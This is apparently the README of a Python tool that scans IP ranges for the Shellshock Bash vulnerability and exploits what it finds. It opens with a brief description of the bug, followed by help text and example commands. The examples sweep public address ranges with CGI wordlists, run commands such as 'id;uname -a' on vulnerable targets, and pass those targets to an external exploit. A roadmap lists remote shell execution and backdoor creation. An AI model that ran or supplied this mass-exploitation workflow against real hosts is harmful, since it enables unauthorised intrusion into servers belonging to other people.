Shellshock (software bug)
Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests.

usage: tool [-h] [--file ] [--range ,]
[--cmd-cgi ] [--exec-vuln ] [--thread ]
[--check] [--ssl] [--cgi-file ] [--timeout ] [--all] [--debug]
optional arguments:
-h, --help show this help message and exit
--file Input your target host lists
--range , Set range IP Eg.: 192.168.15.1,192.168.15.100
--cmd-cgi Define shell command that will be executed in the payload
--exec-vuln Executing commands on vulnerable targets
--thread , -t Eg. 20
--check Check for shellshock vulnerability
--ssl Enable request with SSL
--cgi-file Defines a CGI file to be used
--timeout Set connection timeout
--all Teste all payloads
--debug, -d Enable debug mode
Command e.g:
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'
python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'
python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'
python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"' --debug
Prints:

PROCESS
SPECIAL COMMAND ( –exec-vuln ‘echo "_TARGET_"‘ )

Roadmap
I started this project to study a little more python and interact more with APIS like shodan and ipinfo.
- Command line structure
- Banner
- File management class
- HttpRequests management class
- Thread management class
- Source file for exploits
- Color in process
- Shell Exec on vulnerable targets
- Process debug
- Integration with ipinfo api
- Integration with ipinfo api
- Integration with telegram api
- Backdoor creation
- Visual filter
- Header manipulation
